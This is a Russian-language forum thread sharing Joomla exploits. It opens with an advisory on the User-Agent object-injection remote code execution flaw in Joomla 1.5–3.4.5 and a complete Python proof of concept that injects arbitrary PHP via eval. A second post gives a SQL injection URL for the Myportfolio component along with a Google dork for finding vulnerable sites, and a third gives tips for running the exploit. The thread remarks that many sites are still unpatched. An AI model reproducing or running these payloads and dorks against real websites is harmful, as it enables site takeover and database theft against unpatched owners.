Обзор Уязвимостей Joomla

[Voodley]

Критическая уязвимость в Joomla!

Опасность:Критическая
Наличие исправления:Да
Вектор эксплуатации:Удаленная
Воздействие:Компрометация системыCWE ID:Нет данных
Наличие эксплоита: активная эксплуатация уязвимости
Уязвимые продукты:Joomla! 3.x
Joomla! 2.x
Joomla! 1.x

Уязвимые версии:
Joomla! Версии 1.5 по 3.4.5 включительно

Описание: Уязвимость позволяет удаленному пользователю скомпрометировать целевую систему.

Уязвимость существует из-за недостаточной обработки входных данных, во время записи в базу информации о браузере пользователя. Удаленный пользователь может с помощью специально сформированного заголовка HTTP User-Agent внедрить и выполнить произвольный PHP код на целевой системе с привилегиями web-сервера.

Успешная эксплуатация уязвимости позволит злоумышленнику получить полный контроль над уязвимым сайтом.

Примечание: уязвимость активно эксплуатировалась злоумышленниками в течение 2 дней до выхода исправления.Но до сих пор на многих сайтах стоят старые версии Joomla.

'''
   Simple PoC for Joomla Object Injection.
   Gary @ Sec-1 ltd
   http://www.sec-1.com/
'''
 
import requests #  easy_install requests
 
def get_url(url, user_agent):
 
    headers = {
    'User-Agent': user_agent
    }
    cookies = requests.get(url,headers=headers).cookies
    for _ in range(3):
        response = requests.get(url, headers=headers,cookies=cookies)   
    return response
    
def php_str_noquotes(data):
    "Convert string to chr(xx).chr(xx) for use in php"
    encoded = ""
    for char in data:
        encoded += "chr({0}).".format(ord(char))
 
    return encoded[:-1]
 
 
def generate_payload(php_payload):
 
    php_payload = "eval({0})".format(php_str_noquotes(php_payload))
 
    terminate = '\xf0\xfd\xfd\xfd';
    exploit_template = r'''}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";'''
    injected_payload = "{};JFactory::getConfig();exit".format(php_payload)   
    exploit_template += r'''s:{0}:"{1}"'''.format(str(len(injected_payload)), injected_payload)
    exploit_template += r''';s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}''' + terminate
 
    return exploit_template
 
 
 
pl = generate_payload("system('touch /tmp/fx');")
 
print get_url("http://172.31.6.242/", pl)

 

[lukeone]

Joomla Component Myportfolio 3.0.2
SQL Injection
Уязвимый параметр находится в компоненте "Joomla" - Myporfolio

Google Dork

inurl:index.php?option=com_myportfolio

Exploit

http://www.site.com/index.php?task=project&view=grid&id=1&pid=[SQL]&format=raw&option=com_myportfolio&Itemid=125

 

[Tayler]

Критическая уязвимость в Joomla![/CODE]

П.с версия питона 2.7,если использовать этот эксплоит под виндой,то придется установить библиотеку requests немного по другому (pip install requests)